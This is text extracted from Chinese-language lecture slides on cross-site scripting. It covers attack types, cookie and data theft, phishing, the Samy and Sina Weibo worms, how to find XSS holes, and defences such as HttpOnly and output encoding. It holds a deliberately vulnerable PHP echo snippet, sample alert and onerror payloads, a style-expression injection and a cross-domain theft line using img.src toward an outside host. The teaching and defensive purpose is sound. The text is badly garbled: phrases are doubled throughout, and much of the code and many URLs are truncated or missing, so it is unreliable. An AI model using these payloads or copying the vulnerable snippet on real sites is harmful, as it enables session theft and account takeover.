1、XSS跨站脚本攻击跨站脚本攻击Page 2主要内容主要内容XSS跨站脚本攻击定义跨站脚本攻击定义XSS跨站脚本攻击类型跨站脚本攻击类型XSS跨站脚本攻击漏洞挖掘跨站脚本攻击漏洞挖掘如何防范如何防范XSS跨站脚本攻击漏洞跨站脚本攻击漏洞XSS跨站脚本攻击方式与实例跨站脚本攻击方式与实例Page 3XSS定义定义n 跨站脚本攻击(跨站脚本攻击(Cross Site Scripting)是指攻击者利用网)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的用户造成影响的HTML代码,从而盗取用户资料、利用用户代码,从而
2、盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。为了与层叠样式表(式。为了与层叠样式表(Cascading Style Sheets)的缩)的缩写写CSS区分开,跨站脚本攻击通常简写为区分开,跨站脚本攻击通常简写为XSS。Page 4XSS?php$username=$_GETname;echo 欢迎您欢迎您,.$username.!;?n 代码的主要作用是获取用户输入的参数作为用户名,并在页面中显示代码的主要作用是获取用户输入的参数作为用户名,并在页面中显示“欢迎您,欢迎您,XXX”的形式的形式Page 5XS
3、Sn http:/localhost/test.php?name=张三张三Page 6XSSn http:/localhost/test.php?name=alert(/我的名字是张三我的名字是张三/)Page 7XSS类型类型n 反射型反射型XSSn 存储型存储型XSSn DOM Based XSSPage 8反射型反射型XSSn 反射型反射型XSS只是简单地将用户输入的数据直接或未经过完善只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在可被浏
4、览器执行的代码数据。由于此种类型的跨站代码存在于于URL中,所以黑客通常需要通过诱骗或加密变形等方式将中,所以黑客通常需要通过诱骗或加密变形等方式将存在恶意代码的链接发给用户,只有用户点击以后才能使得存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。攻击成功实施。Page 9反射型反射型XSSn 反射型反射型XSS是最为常见的一种是最为常见的一种XSS类型类型Page 10反射型反射型XSSPage 11反射型反射型XSSPage 12反射型反射型XSSPage 13反射型反射型XSSPage 14反射型反射型XSSPage 15反射型反射型XSSPage 16存储型存储型XS
5、Sn 存储型存储型XSS脚本攻击是指由于脚本攻击是指由于Web应用程序对用户输入数据应用程序对用户输入数据的不严格,导致的不严格,导致Web应用程序将黑客输入的恶意跨站攻击数应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中,当网页进据信息保存在服务端的数据库或其他文件形式中,当网页进行数据查询展示时,会从数据库中获取数据内容,并将数据行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,进而导致跨站脚本代码的执行。内容在网页中进行输出展示,进而导致跨站脚本代码的执行。Page 17存储型存储型XSSn 存储型存储型XSS脚本攻击最为常见的场景
6、就是在留言板、博客或脚本攻击最为常见的场景就是在留言板、博客或新闻发布系统中,恶意代码的数据信息直接写入文章、评论、新闻发布系统中,恶意代码的数据信息直接写入文章、评论、留言中,浏览时即会执行相应的脚本代码。留言中,浏览时即会执行相应的脚本代码。Page 18存储型存储型XSSPage 19存储型存储型XSSn Bo-Blog早期版本评论部分的存储型早期版本评论部分的存储型XSSPage 20DOM Based XSSn 基于基于DOM的的XSS跨站脚本攻击是通过修改页面跨站脚本攻击是通过修改页面DOM节点数节点数据信息而形成的据信息而形成的XSS跨站脚本攻击。不同于反射型跨站脚本攻击。不同于
7、反射型XSS和存和存储型储型XSS,基于,基于DOM的的XSS跨站脚本攻击往往需要针对具跨站脚本攻击往往需要针对具体的体的Javascript DOM代码进行分析,并根据实际情况进行代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。跨站脚本攻击的利用。Page 21DOM Based XSSPage 22DOM Based XSSn http:/ Page 23DOM Based XSSn#onerror=javascript:alert(/DOM Based XSS Test/)n Page 24DOM Based XSSPage 25DOM Based XSSPage 26DOM
8、Based XSSPage 27XSS攻击方式与实例攻击方式与实例n XSS攻击方式绝不是弹窗这么简单攻击方式绝不是弹窗这么简单Page 28XSS攻击方式与实例攻击方式与实例n XSS偷取用户信息偷取用户信息n XSS盗取盗取Cookien XSS钓鱼攻击钓鱼攻击n XSS蠕虫攻击蠕虫攻击Page 29XSS偷取用户信息偷取用户信息n http:/192.168.10.62/U8Portal/Desktopdefault.aspx?serialNo=Page 30XSS偷取用户信息偷取用户信息Page 31XSS偷取用户信息偷取用户信息(未完待续)(未完待续)Page 32XSS偷取用户信息
9、偷取用户信息(完)(完)Page 33XSS偷取用户信息偷取用户信息n http:/192.168.10.62/U8Portal/Desktopdefault.aspx?serialNo=Page 34XSS偷取用户信息偷取用户信息n 收取收取XSS偷取到的用户信息偷取到的用户信息n 浏览器的同源策略浏览器的同源策略n 相同协议相同协议n http:/n https:/n 相同域名相同域名n http:/n http:/n 相同端口相同端口n http:/n http:/:8080n 跨域提交跨域提交n img=new Image();n img.src=http:/ 35XSS偷取用户信息偷
10、取用户信息n 如何诱骗对方?如何诱骗对方?n URL编码变形?编码变形?n 短链接变形?短链接变形?n 隐藏在其他页面中?隐藏在其他页面中?n.Page 36XSS盗取盗取Cookien 对某个钓鱼网站的对某个钓鱼网站的XSS攻击测试攻击测试Page 37XSS盗取盗取CookiePage 38XSS盗取盗取CookiePage 39XSS盗取盗取CookiePage 40XSS盗取盗取CookiePage 41XSS盗取盗取CookiePage 42XSS钓鱼攻击钓鱼攻击n 以盛大论坛的跨站钓鱼攻击演示。首先需要了解的就是,盛以盛大论坛的跨站钓鱼攻击演示。首先需要了解的就是,盛大的游戏登陆都
11、是使用盛大通行证进行登录的,而盛大的论大的游戏登陆都是使用盛大通行证进行登录的,而盛大的论坛也是使用盛大通行证进行登录,所以如果黑客通过盗取用坛也是使用盛大通行证进行登录,所以如果黑客通过盗取用户登录论坛时的信息,就相当于盗取了用户的账号和密码,户登录论坛时的信息,就相当于盗取了用户的账号和密码,盛大的论坛就存在盛大的论坛就存在XSS漏洞,使得黑客可以通过漏洞,使得黑客可以通过XSS钓鱼攻钓鱼攻击方式获取用户的账号和密码击方式获取用户的账号和密码Page 43XSS钓鱼攻击钓鱼攻击n 存在过滤不严的位置为用户资料中的个人主页部分。存在过滤不严的位置为用户资料中的个人主页部分。n urlhttp
12、:/STYLE=a:expression(document.write()target=_blank/urln 然后利用插入代码的账号在论坛中发帖子或回复,当别的用然后利用插入代码的账号在论坛中发帖子或回复,当别的用户访问该账号发布或回复的帖子时,就会执行插入的恶意代户访问该账号发布或回复的帖子时,就会执行插入的恶意代码。码。http:/ 44XSS钓鱼攻击钓鱼攻击Page 45XSS钓鱼攻击钓鱼攻击Page 46XSS蠕虫攻击蠕虫攻击n XSS蠕虫的破坏力和影响力都是巨大的。蠕虫的破坏力和影响力都是巨大的。XSS蠕虫主要发生蠕虫主要发生在用户之间存在交互行为的页面中,当在用户之间存在交互行为
13、的页面中,当Web应用程序对用户应用程序对用户输入的数据信息没有做严格的过滤时,通过结合输入的数据信息没有做严格的过滤时,通过结合Ajax的异步的异步提交,就可以实现在植入恶意代码的同时,将恶意代码进行提交,就可以实现在植入恶意代码的同时,将恶意代码进行对外发送,即实现了代码的感染和传播,也就形成了对外发送,即实现了代码的感染和传播,也就形成了XSS蠕蠕虫。虫。Page 47XSS蠕虫攻击蠕虫攻击n 出现最早、最出名的出现最早、最出名的XSS蠕虫攻击事件蠕虫攻击事件n MySpace的的Samy XSS蠕虫攻击事件蠕虫攻击事件n MySpace是全球互联网上最大的个人空间,是以是全球互联网上最
14、大的个人空间,是以SNS为基础的娱为基础的娱乐平台,也是全球最大的在线交友平台,通过乐平台,也是全球最大的在线交友平台,通过MySpace用户可以用户可以很容易地建立属于自己的个性空间,上传照片,发表日志,还可很容易地建立属于自己的个性空间,上传照片,发表日志,还可以分享其他人发布的相关信息等。以分享其他人发布的相关信息等。MySpace也支持交友功能,好也支持交友功能,好友信息会显示在个人空间的好友列表中,但是,如果想通过友信息会显示在个人空间的好友列表中,但是,如果想通过MySpace添加其他人为自己的好友,需要得到对方的验证通过才添加其他人为自己的好友,需要得到对方的验证通过才可以。可以
15、。2005年年10月,一个名叫月,一个名叫Samy的人在网上发布了一片文章,的人在网上发布了一片文章,在文章中他说找到了一种方法可以借助在文章中他说找到了一种方法可以借助MySpace网站自身存在的网站自身存在的漏洞实现自动化添加自己到别人的空间中,并且经过他测试这种漏洞实现自动化添加自己到别人的空间中,并且经过他测试这种方法,在方法,在3个小时内,添加了个小时内,添加了2429个好友,同时收到了个好友,同时收到了6373个来个来自自MySpace上其他人添加自己为好友的请求,由此而导致了大量上其他人添加自己为好友的请求,由此而导致了大量的恶意数据和垃圾信息在的恶意数据和垃圾信息在MySpac
16、e上传播,对网站和用户都造成上传播,对网站和用户都造成了巨大的损失。了巨大的损失。Page 48XSS蠕虫攻击蠕虫攻击n 我国曾经爆发过的典型我国曾经爆发过的典型XSS蠕虫攻击事件蠕虫攻击事件n 百度百度XSS蠕虫攻击蠕虫攻击n 人人人人XSS蠕虫攻击蠕虫攻击n 搜狐搜狐XSS蠕虫攻击蠕虫攻击n 新浪微博新浪微博XSS蠕虫攻击蠕虫攻击n.Page 49XSS蠕虫攻击蠕虫攻击n 百度百度XSS蠕虫事件在短短几个小时蠕虫的访问量就有几千蠕虫事件在短短几个小时蠕虫的访问量就有几千IPPage 50XSS蠕虫攻击蠕虫攻击n 人人网蠕虫攻击事件中流量在几天时间里大增,这些天应该是蠕虫感人人网蠕虫攻击事件
17、中流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数从染的时间。日访问人数从0猛增到猛增到500百万人百万人/天天Page 51XSS蠕虫攻击蠕虫攻击n 搜狐搜狐XSS蠕虫攻击事件中也有大量的用户收到攻击和感染蠕虫攻击事件中也有大量的用户收到攻击和感染Page 52XSS蠕虫攻击蠕虫攻击n 一次典型的一次典型的XSS蠕虫攻击事件蠕虫攻击事件n 2011年年6月月28日晚,新浪微博遭遇到日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,微博蠕虫攻击侵袭,微博用户中招后,会自动通过发微博和发送私信的方式将用户中招后,会自动通过发微博和发送私信的方式将XSS蠕虫蠕虫信息对外传播,发布带有恶意脚本的链
18、接地址,当用户的粉丝信息对外传播,发布带有恶意脚本的链接地址,当用户的粉丝点击带有恶意脚本的链接后就会再次中毒,进而形成恶性循环。点击带有恶意脚本的链接后就会再次中毒,进而形成恶性循环。其中众多加其中众多加V认证的用户受到感染,当此类用户发布相关微博认证的用户受到感染,当此类用户发布相关微博和私信内容后,蠕虫的传播将变得更为广泛,影响也更为严重。和私信内容后,蠕虫的传播将变得更为广泛,影响也更为严重。在不到一个小时的时间,已经有超过在不到一个小时的时间,已经有超过3万微博用户受到该万微博用户受到该XSS蠕虫的攻击。蠕虫的攻击。Page 53XSS蠕虫攻击蠕虫攻击n 黑客通过对新浪微博的分析测试
19、发现新浪名人堂部分由于代黑客通过对新浪微博的分析测试发现新浪名人堂部分由于代码过滤不严,导致码过滤不严,导致XSS漏洞的存在,并可以通过构造脚本的漏洞的存在,并可以通过构造脚本的方式植入恶意代码。通过分析我们发现,在新浪名人堂部分方式植入恶意代码。通过分析我们发现,在新浪名人堂部分中,当提交中,当提交http:/ 在页面中嵌入了一个来在页面中嵌入了一个来自于自于 的的js脚本,该脚本,该JS脚本是黑客可以控制的文件,脚本是黑客可以控制的文件,进而使得黑客可以构造任意进而使得黑客可以构造任意js脚本嵌入到脚本嵌入到的页面的页面中,且通过中,且通过Ajax技术完全可以实现异步提交数据的功能,进技术
20、完全可以实现异步提交数据的功能,进而黑客通过构造特定的而黑客通过构造特定的js代码实现了受此代码实现了受此XSS蠕虫攻击的客蠕虫攻击的客户自动发微薄、添加关注和发私信等操作。户自动发微薄、添加关注和发私信等操作。Page 54XSS蠕虫攻击蠕虫攻击Page 55XSS蠕虫攻击蠕虫攻击n 蠕虫代码:蠕虫代码: 56XSS蠕虫攻击蠕虫攻击n 蠕虫代码:蠕虫代码: 57XSS蠕虫攻击蠕虫攻击n 详细分析详细分析n 操作操作1:发布一条微博,微博的题目为随机题目,且这些题目:发布一条微博,微博的题目为随机题目,且这些题目均为当时网络环境中比较热门或有争议的题目,诱骗用户点击。均为当时网络环境中比较热门
21、或有争议的题目,诱骗用户点击。Page 58XSS蠕虫攻击蠕虫攻击n 详细分析详细分析n 操作操作2:关注加:关注加uid为为2201270010的账户,且该账户就为此次攻击事件的的账户,且该账户就为此次攻击事件的操纵者,即用户名称为操纵者,即用户名称为hellosamy用户用户Page 59XSS蠕虫攻击蠕虫攻击n 详细分析详细分析n 操作操作3:构造并私信的方式将恶意链接信息发送到好友账号中,且题目仍:构造并私信的方式将恶意链接信息发送到好友账号中,且题目仍然为上面提到的热门话题,进而实现恶意链接的快速传播和感染然为上面提到的热门话题,进而实现恶意链接的快速传播和感染Page 60挖掘挖掘
22、XSS漏洞漏洞n 挖掘挖掘XSS漏洞方法漏洞方法n 扫描工具自动化检测扫描工具自动化检测n 手工测试手工测试n 源码分析源码分析Page 61挖掘挖掘XSS漏洞漏洞n 扫描工具自动检测扫描工具自动检测n WVSn AppScann JSkyPage 62挖掘挖掘XSS漏洞漏洞n 手工测试手工测试n 澳客彩票网反射型澳客彩票网反射型XSS测试过程测试过程Page 63挖掘挖掘XSS漏洞漏洞n 手工测试手工测试n 澳客彩票网反射型澳客彩票网反射型XSS测试过程测试过程Page 64挖掘挖掘XSS漏洞漏洞n 手工测试手工测试n 澳客彩票网反射型澳客彩票网反射型XSS测试过程测试过程Page 65挖掘
23、挖掘XSS漏洞漏洞n 手工测试手工测试n 澳客彩票网反射型澳客彩票网反射型XSS测试过程测试过程Page 66挖掘挖掘XSS漏洞漏洞n 手工测试手工测试n 澳客彩票网反射型澳客彩票网反射型XSS测试过程测试过程n http:/ 67挖掘挖掘XSS漏洞漏洞n 手工测试手工测试n 卡卡论坛存储型卡卡论坛存储型XSS测试过程测试过程n 卡卡论坛图片卡卡论坛图片EXIF信息存储型信息存储型XSSPage 68挖掘挖掘XSS漏洞漏洞n 手工测试手工测试n 卡卡论坛存储型卡卡论坛存储型XSS测试过程测试过程n 卡卡论坛图片卡卡论坛图片EXIF信息存储型信息存储型XSSPage 69挖掘挖掘XSS漏洞漏洞n
24、 手工测试手工测试n 卡卡论坛存储型卡卡论坛存储型XSS测试过程测试过程n 卡卡论坛图片卡卡论坛图片EXIF信息存储型信息存储型XSSPage 70挖掘挖掘XSS漏洞漏洞n 手工测试手工测试n 卡卡论坛存储型卡卡论坛存储型XSS测试过程测试过程n 卡卡论坛图片卡卡论坛图片EXIF信息存储型信息存储型XSSPage 71挖掘挖掘XSS漏洞漏洞n 手工测试手工测试n 卡卡论坛存储型卡卡论坛存储型XSS测试过程测试过程n 卡卡论坛图片卡卡论坛图片EXIF信息存储型信息存储型XSSPage 72挖掘挖掘XSS漏洞漏洞n 源码分析源码分析输入输出触发输出查询Page 73XSS漏洞的防范漏洞的防范n X
25、SS跨站脚本攻击漏洞防范跨站脚本攻击漏洞防范n 客户端用户客户端用户n IE8及高版本,开启及高版本,开启XSS筛选器功能筛选器功能n Firefox使用使用CSP、Noscript等扩展功能等扩展功能n 瑞星个人防火墙瑞星个人防火墙2012版本开启版本开启XSS拦截功能拦截功能n Web应用程序员应用程序员n 使用使用HttpOnlyn 完善的输入、输出检查完善的输入、输出检查Page 74XSS漏洞的防范漏洞的防范n XSS跨站脚本攻击漏洞防范跨站脚本攻击漏洞防范n HttpOnlyn HttpOnly最初是由微软提出的,目前已经被多款流行浏览器厂商最初是由微软提出的,目前已经被多款流行浏
26、览器厂商所采用。所采用。HttpOnly的作用不是过滤的作用不是过滤XSS跨站脚本攻击,而是浏览跨站脚本攻击,而是浏览器将禁止页面的器将禁止页面的Javascript访问带有访问带有HttpOnly属性的属性的Cookie,解,解决决XSS跨站脚本攻击后的跨站脚本攻击后的Cookie会话劫持行为。会话劫持行为。Page 75XSS漏洞的防范漏洞的防范n XSS跨站脚本攻击漏洞防范跨站脚本攻击漏洞防范n HttpOnlyn httpOnly是在是在Set-Cookie时进行标记的,设置的时进行标记的,设置的Cookie头格式如下:头格式如下:Set-Cookie:=;=;expires=;dom
27、ain=;path=;secure;HttpOnlyPage 76XSS漏洞的防范漏洞的防范n XSS跨站脚本攻击漏洞防范跨站脚本攻击漏洞防范n HttpOnlyn 以以php为例,在为例,在php 5.2版本时就已经在版本时就已经在Setcookie函数加入了对函数加入了对HttpOnly的支持,如的支持,如 通过以上代码就可以设置通过以上代码就可以设置user这个这个cookie,将其设置为,将其设置为HttpOnly,setcookie函数实质是通函数实质是通过向客户端发送原始的过向客户端发送原始的HTTP报文头进行设置的,报文头进行设置的,document将不可见这个将不可见这个Coo
28、kie,所以使用所以使用document.cookie就取不到这个就取不到这个Cookie,也就实现了对,也就实现了对Cookie的保护。的保护。Page 77XSS漏洞的防范漏洞的防范n XSS跨站脚本攻击漏洞防范跨站脚本攻击漏洞防范n 输入、输出检查输入、输出检查n 由于三种由于三种XSS跨站脚本攻击类型的漏洞成因可不相同,针对输入跨站脚本攻击类型的漏洞成因可不相同,针对输入输出的检查一部分适用于反射型输出的检查一部分适用于反射型XSS与存储型与存储型XSS,而另外一些,而另外一些检查适用于基于检查适用于基于DOM的的XSS。Page 78XSS漏洞的防范漏洞的防范n 反射型和存储型反射型
29、和存储型XSS输入、输出检查输入、输出检查n 输入检查输入检查n 在大多数的时候都是对可信字符的检查或输入数据格式的检查,在大多数的时候都是对可信字符的检查或输入数据格式的检查,如用户输入的注册账号信息中只允许包括字母、数字、下划线和如用户输入的注册账号信息中只允许包括字母、数字、下划线和汉字等,对于输入的一切非白名单内的字符均认为是非法输入。汉字等,对于输入的一切非白名单内的字符均认为是非法输入。数据格式如输入的数据格式如输入的IP地址、电话号码、邮件地址、日期等数据都地址、电话号码、邮件地址、日期等数据都具有一定的格式规范,只有符合数据规范的输入信息才允许通过具有一定的格式规范,只有符合数
30、据规范的输入信息才允许通过检查。检查。Page 79XSS漏洞的防范漏洞的防范n 反射型和存储型反射型和存储型XSS输入、输出检查输入、输出检查n 输出检查输出检查n 输出检查主要是针对数据展示过程中,应该对数据信息进行输出检查主要是针对数据展示过程中,应该对数据信息进行HTML编码处理,将可能存在导致编码处理,将可能存在导致XSS跨站脚本攻击的恶意字符跨站脚本攻击的恶意字符进行编码,在不影响正常数据显示的前提条件下,过滤恶意字符。进行编码,在不影响正常数据显示的前提条件下,过滤恶意字符。Page 80XSS漏洞的防范漏洞的防范n 反射型和存储型反射型和存储型XSS输入、输出检查输入、输出检查
31、n 输出检查输出检查n 常见的可能造成常见的可能造成XSS跨站脚本攻击的字符及其跨站脚本攻击的字符及其HTML编码如下:编码如下:“"'&>Page 81XSS漏洞的防范漏洞的防范n 反射型和存储型反射型和存储型XSS输入、输出检查输入、输出检查n 输出检查输出检查n 除了常用的编码外,任何字符都可以使用其除了常用的编码外,任何字符都可以使用其ASCII码进行码进行HTML编码,如编码,如%%**Page 82XSS漏洞的防范漏洞的防范n DOM Based XSS输入、输出检查输入、输出检查n 特殊性特殊性n 基于基于DOM的的XSS跨站脚本
32、攻击发生时,恶意数据的格式与传统的跨站脚本攻击发生时,恶意数据的格式与传统的XSS跨站脚本攻击数据格式有一定的差异,甚至可以在不经过服跨站脚本攻击数据格式有一定的差异,甚至可以在不经过服务器端的处理和响应的情况下,直接对客户端实施攻击行为。务器端的处理和响应的情况下,直接对客户端实施攻击行为。Page 83XSS漏洞的防范漏洞的防范n DOM Based XSS输入、输出检查输入、输出检查n 输入检查输入检查n 在客户端部署相应的安全检测代码的过滤效果要比在服务器端检在客户端部署相应的安全检测代码的过滤效果要比在服务器端检测的效果更加明显。测的效果更加明显。n 客户端检测代码来保证用户输入的数
33、据只包含字母、数字和空格客户端检测代码来保证用户输入的数据只包含字母、数字和空格Page 84XSS漏洞的防范漏洞的防范n DOM Based XSS输入、输出检查输入、输出检查n 输入检查输入检查n 服务端实现上述数据检查的功能服务端实现上述数据检查的功能n URL参数名称、个数检测参数名称、个数检测n 参数值类型及内容检测参数值类型及内容检测Page 85XSS漏洞的防范漏洞的防范n DOM Based XSS输入、输出检查输入、输出检查n 输出检查输出检查n 在将用户可控的在将用户可控的DOM数据内容插入到文档之前,数据内容插入到文档之前,Web应用程序应应用程序应对提交的数据进行对提交的数据进行HTML编码处理,将用户提交的数据中可能存编码处理,将用户提交的数据中可能存在的各种危险字符和表达式进行过滤以安全的方式插入到文档中在的各种危险字符和表达式进行过滤以安全的方式插入到文档中进行展现。进行展现。Page 86XSS漏洞的防范漏洞的防范n DOM Based XSS输入、输出检查输入、输出检查n 输出检查输出检查n 例子:客户端例子:客户端javascript执行执行HTML编码处理编码处理谢谢谢谢